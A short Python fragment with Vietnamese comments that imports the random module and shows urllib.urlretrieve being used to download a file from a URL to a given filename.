import random # thư viện số ngẫu nhiên


urllib.urlretrieve(url,fullName)

#Hàm download file trong url với tên fullName